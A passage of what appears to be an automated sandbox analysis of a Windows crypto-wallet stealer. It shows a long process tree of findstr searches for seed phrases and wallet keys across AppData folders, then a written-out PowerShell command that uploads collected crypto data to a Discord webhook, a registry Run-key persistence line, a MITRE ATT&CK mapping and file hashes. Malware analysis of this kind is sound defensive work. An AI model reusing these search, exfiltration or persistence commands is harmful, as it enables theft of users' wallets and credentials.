  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My\CRLs\config.json"
  2⤵
  PID:3416
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My\CTLs\config.json"
  2⤵
  PID:1400
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Templates\config.json"
  2⤵
  PID:800
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\config.json"
  2⤵
  PID:1072
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\config.json"
  2⤵
  PID:4732
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\config.json"
  2⤵
  PID:3660
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\config.json"
  2⤵
  PID:1176
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\config.json"
  2⤵
  PID:3508
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\config.json"
  2⤵
  PID:3584
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\config.json"
  2⤵
  PID:4288
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\config.json"
  2⤵
  PID:3776
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\config.json"
  2⤵
  PID:812
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\config.json"
  2⤵
  PID:2136
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\User\config.json"
  2⤵
  PID:1044
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\User\Document Themes\config.json"
  2⤵
  PID:4448
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\User\Document Themes\1033\config.json"
  2⤵
  PID:2072
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\User\SmartArt Graphics\config.json"
  2⤵
  PID:3132
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\User\SmartArt Graphics\1033\config.json"
  2⤵
  PID:5736
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\User\Word Document Bibliography Styles\config.json"
  2⤵
  PID:2568
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\User\Word Document Building Blocks\config.json"
  2⤵
  PID:3220
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\User\Word Document Building Blocks\1033\config.json"
  2⤵
  PID:848
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\UProof\config.json"
  2⤵
  PID:5608
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Vault\config.json"
  2⤵
  PID:2460
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\config.json"
  2⤵
  PID:2132
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\AccountPictures\config.json"
  2⤵
  PID:1660
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\CloudStore\config.json"
  2⤵
  PID:5512
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\config.json"
  2⤵
  PID:5180
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\config.json"
  2⤵
  PID:3588
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\config.json"
  2⤵
  PID:5728
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\config.json"
  2⤵
  PID:5288
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\config.json"
  2⤵
  PID:368
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\config.json"
  2⤵
  PID:1064
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\config.json"
  2⤵
  PID:5380
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\config.json"
  2⤵
  PID:2664
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\config.json"
  2⤵
  PID:5280
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\config.json"
  2⤵
  PID:4968
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\config.json"
  2⤵
  PID:4132
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools\config.json"
  2⤵
  PID:2988
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\config.json"
  2⤵
  PID:4516
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\config.json"
  2⤵
  PID:1372
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\config.json"
  2⤵
  PID:4116
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\config.json"
  2⤵
  PID:3296
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\config.json"
  2⤵
  PID:4668
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\config.json"
  2⤵
  PID:4424
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Word\config.json"
  2⤵
  PID:1324
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\config.json"
  2⤵
  PID:2964
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\config.json"
  2⤵
  PID:1424
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Extensions\config.json"
  2⤵
  PID:2552
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\config.json"
  2⤵
  PID:1208
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Background Tasks Profiles\config.json"
  2⤵
  PID:3392
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Background Tasks Profiles\zgn7oo5w.MozillaBackgroundTask-308046B0AF4A39CB-defaultagent\config.json"
  2⤵
  PID:3336
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Background Tasks Profiles\zgn7oo5w.MozillaBackgroundTask-308046B0AF4A39CB-defaultagent\cache2\config.json"
  2⤵
  PID:5300
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Background Tasks Profiles\zgn7oo5w.MozillaBackgroundTask-308046B0AF4A39CB-defaultagent\cache2\doomed\config.json"
  2⤵
  PID:4432
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Background Tasks Profiles\zgn7oo5w.MozillaBackgroundTask-308046B0AF4A39CB-defaultagent\cache2\entries\config.json"
  2⤵
  PID:3016
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Background Tasks Profiles\zgn7oo5w.MozillaBackgroundTask-308046B0AF4A39CB-defaultagent\crashes\config.json"
  2⤵
  PID:1516
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Background Tasks Profiles\zgn7oo5w.MozillaBackgroundTask-308046B0AF4A39CB-defaultagent\crashes\events\config.json"
  2⤵
  PID:204
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Background Tasks Profiles\zgn7oo5w.MozillaBackgroundTask-308046B0AF4A39CB-defaultagent\datareporting\config.json"
  2⤵
  PID:4420
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Background Tasks Profiles\zgn7oo5w.MozillaBackgroundTask-308046B0AF4A39CB-defaultagent\datareporting\glean\config.json"
  2⤵
  PID:4300
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Background Tasks Profiles\zgn7oo5w.MozillaBackgroundTask-308046B0AF4A39CB-defaultagent\datareporting\glean\db\config.json"
  2⤵
  PID:5388
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Background Tasks Profiles\zgn7oo5w.MozillaBackgroundTask-308046B0AF4A39CB-defaultagent\datareporting\glean\events\config.json"
  2⤵
  PID:1376
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Background Tasks Profiles\zgn7oo5w.MozillaBackgroundTask-308046B0AF4A39CB-defaultagent\minidumps\config.json"
  2⤵
  PID:4100
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Background Tasks Profiles\zgn7oo5w.MozillaBackgroundTask-308046B0AF4A39CB-defaultagent\security_state\config.json"
  2⤵
  PID:6040
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Background Tasks Profiles\zgn7oo5w.MozillaBackgroundTask-308046B0AF4A39CB-defaultagent\startupCache\config.json"
  2⤵
  PID:4072
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\config.json"
  2⤵
  PID:2948
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\events\config.json"
  2⤵
  PID:5492
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Pending Pings\config.json"
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:5588
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\config.json"
  2⤵
  PID:4868
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9xv10wby.Admin\config.json"
  2⤵
  PID:768
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fu4ot18b.default-release\config.json"
  2⤵
  PID:6024
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fu4ot18b.default-release\bookmarkbackups\config.json"
  2⤵
  PID:4528
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fu4ot18b.default-release\crashes\config.json"
  2⤵
  PID:5784
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fu4ot18b.default-release\crashes\events\config.json"
  2⤵
  PID:1400
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fu4ot18b.default-release\datareporting\config.json"
  2⤵
  PID:800
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fu4ot18b.default-release\datareporting\glean\config.json"
  2⤵
  PID:1072
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fu4ot18b.default-release\datareporting\glean\db\config.json"
  2⤵
  PID:2644
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fu4ot18b.default-release\datareporting\glean\events\config.json"
  2⤵
  PID:4428
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fu4ot18b.default-release\datareporting\glean\pending_pings\config.json"
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:1176
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fu4ot18b.default-release\datareporting\glean\tmp\config.json"
  2⤵
  PID:3508
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fu4ot18b.default-release\extension-store\config.json"
  2⤵
  PID:3056
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fu4ot18b.default-release\extension-store-menus\config.json"
  2⤵
  PID:2768
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fu4ot18b.default-release\minidumps\config.json"
  2⤵
  PID:3776
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fu4ot18b.default-release\security_state\config.json"
  2⤵
  PID:812
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fu4ot18b.default-release\sessionstore-backups\config.json"
  2⤵
  PID:2136
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fu4ot18b.default-release\storage\config.json"
  2⤵
  PID:1044
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fu4ot18b.default-release\storage\permanent\config.json"
  2⤵
  PID:4448
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fu4ot18b.default-release\storage\permanent\chrome\config.json"
  2⤵
  PID:2072
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fu4ot18b.default-release\storage\permanent\chrome\idb\config.json"
  2⤵
  PID:3132
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fu4ot18b.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files\config.json"
  2⤵
  PID:5736
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fu4ot18b.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files\config.json"
  2⤵
  PID:2568
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fu4ot18b.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files\config.json"
  2⤵
  PID:3220
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fu4ot18b.default-release\storage\permanent\chrome\idb\2918063365piupsah.files\config.json"
  2⤵
  PID:848
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fu4ot18b.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files\config.json"
  2⤵
  PID:5608
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fu4ot18b.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.files\config.json"
  2⤵
  PID:2460
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\RegisterComplete\config.json"
  2⤵
  PID:2132
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\RepairConvert\config.json"
  2⤵
  PID:1660
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\RestartExport\config.json"
  2⤵
  PID:4216
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\SetMeasure\config.json"
  2⤵
  PID:5180
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\SplitEnable\config.json"
  2⤵
  PID:3588
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Sun\config.json"
  2⤵
  PID:5728
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Sun\Java\config.json"
  2⤵
  PID:5288
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Sun\Java\Deployment\config.json"
  2⤵
  PID:5124
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\TestMount\config.json"
  2⤵
  PID:1064
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\TraceDisconnect\config.json"
  2⤵
  PID:5380
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\TraceGet\config.json"
  2⤵
  PID:2664
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\UninstallTest\config.json"
  2⤵
  PID:5280
- C:\Windows\system32\findstr.exe
  findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\UseUninstall\config.json"
  2⤵
  PID:4968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w='https://discord.com/api/webhooks/YOUR_WEBHOOK_ID/YOUR_WEBHOOK_TOKEN';$c=Get-Content -Path 'C:\Users\Admin\AppData\Local\Temp\crypto_25875\crypto_data.txt' -Raw;if($c.length -gt 1900){$boundary='----WebKitFormBoundary'+(-join((65..90)|Get-Random-Count16|ForEach-Object{[char]$_}));$body='--'+$boundary+\"`r`nContent-Disposition: form-data; name=`\"file1`\"; filename=`\"crypto_data.txt`\"`r`nContent-Type: text/plain`r`n`r`n\"+$c+\"`r`n--$boundary--\";Invoke-RestMethod -Uri $w -Method Post -Body $body -ContentType \"multipart/form-data; boundary=$boundary\"}else{$p=@{content=$c}|ConvertTo-Json;Invoke-RestMethod -Uri $w -Method Post -Body $p -ContentType 'application/json'}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5208
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "CryptoScanner" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Crypto Smasher.bat" /f
  2⤵
  - Adds Run key to start application
  PID:3296
- C:\Windows\system32\timeout.exe
  timeout /t 1800 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:6084

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:4128

C:\Windows\System32\SecurityHealthHost.exe
\\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding
1⤵
PID:2936

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
MD5 b65d38126d60f6776d0fee761697a8ab
SHA1 fce1b1fa5ee6c386768d73e767a6bf9a04c23b30
SHA512 100a082250af816628e48f6949a2068bada9998b7bd29fa7408af7fd8d4425d03c85b92e6e2e4c08dc55e6bb56b4f31aedeaf3f4ac201e80d2cdac77353c5dd6
SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoi3jiRjdvRwa5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9Rg
TLSH
T11C636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d83943745856d31734f97d71d1fde019754907e26aa853e804b92c8c8ac92302
MD5 562d6791c02860f0c3fbd5153ba158ab
SHA1 4f3f3af07d8226b8d2d83fb73bf411078e8e68a5
SHA512 660c423411266fe2e7c0dc5b666f81e6b98d2e6a6f2e4cd4c31fd8d1d4e484f3abb08461e231fa225a5fdc7c2b851704586fb68329b9fbc9a74b188a7e7280b4
TLSH
T188117A33F3CC8724CC9A413650CEAC1537B587DB80DECE6BAB84D548B42F699CE60160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 30968549dad31e60a30bcfafe0bc33e745f34f538841d09b91306ea455eee958
MD5 f623929fbf303a8b140095d9568ac988
SHA1 8c39ae9758011dabd587c6f4ae7a63b11343106d
SHA512 a75f1a30783549196144f66a43688f6eda179859f804ced37e03a1ee4d445e87466f1f43b6288dfe775833f9cda36e23ce2796a771515202691ae59162d6efe6
TLSH
T1F7215733F3CC8624DC9A413650CEAC1136B687DB409ECE6BBB84D558B42F289DE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 8225d7990f75da004c0e07a027a82ce676bd7b7816380093256598de6e6918af
MD5 d85b4062825b8f5a44c67beba583abeb
SHA1 03055dac81a14d07a0b98ea1cdac79d87bdb0c80
SHA512 b7db4a4a8be1c5f79ffe41ac9587b44474d98d778f9e3800b95d5577056386d6ded4953517ee0e850ef3f58744634ebe818824e61c1ae6bd8205088ce5830e65
TLSH
T15F215937B3DC8614DC9A413A10CEAC1036B6C7DB809ECEAB7B84D544A43F699DE60660
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_2dmbvipf.uwf.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2dmbvipf.uwf.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

crypto_data.txt

Path C:\Users\Admin\AppData\Local\Temp\crypto_25630\crypto_data.txt
Size 4KB
SHA256 60e1e751bcca0c4d15130cea970d5e13f518b6665035317943bba34457b6c696
MD5 f143df867adcc9bb21ff7761cb43a7ce
SHA1 08f67dbb3c970bd1f4b536306e30f6eeecd5377b
SHA512 8f17fe32f3c2d72b6bd58ed08bf37c64613d0d476fdf7a3b83b18875ee9f725a3692d389679973e7002d5365ed1d8cc9f752cf2d239ad63be9e22fd170fe55ba
SSDEEP 96:TzKjk4edgXpKuCuxuIu5uZu/uZ2u+EuyuWuVucubupuIuyeuGudutuwu1uz2uOuG:gwCu
TLSH
T14B91232045CDCA9FFA0BD45753B5F24DF4B48FCA3E8ABA16EF8074882145B88E891053
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

crypto_data.txt

Path C:\Users\Admin\AppData\Local\Temp\crypto_25630\crypto_data.txt
Size 15KB
SHA256 699eb25e0ad3eb199285c87a5f35b0d7e278be8150299fe3a4368522bd3514ca
MD5 5d58518e19054b7c774a9bafaef6f5ac
SHA1 861965432b5e1ff29b2c8cfa3fab3ce1f0cf734c
SHA512 e8c121543f39be44d85ad1e4868c89f93bb8545bf753b0807dbf07a3091cc4b1c1d8fde73f7809d08fc0e7b1b0c4e316fd771551b810010e7a9792a493cb39c6
SSDEEP 96:TzKjk4edgXpKuCuxuIu5uZu/uZ2u+EuyuWuVucubupuIuyeuGudutuwu1uz2uOuf:gwCe+p/I5q/a141tEEHx+53M
TLSH
T18662261106CDCF9FFB1BE99763F6B249B5F08FC83A4AB616DB90748C3145B85E861092
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

crypto_data.txt

Path C:\Users\Admin\AppData\Local\Temp\crypto_25875\crypto_data.txt
Size 15KB
SHA256 648fb12ae9234109a6a537d542bcae9d020c6b1118fba2cdb53fd616cdbbb77c
MD5 2720fe035ffda6ec19276ed4b47ce10f
SHA1 fa9335212aee1300b2782b8ecd574f038a9e99a7
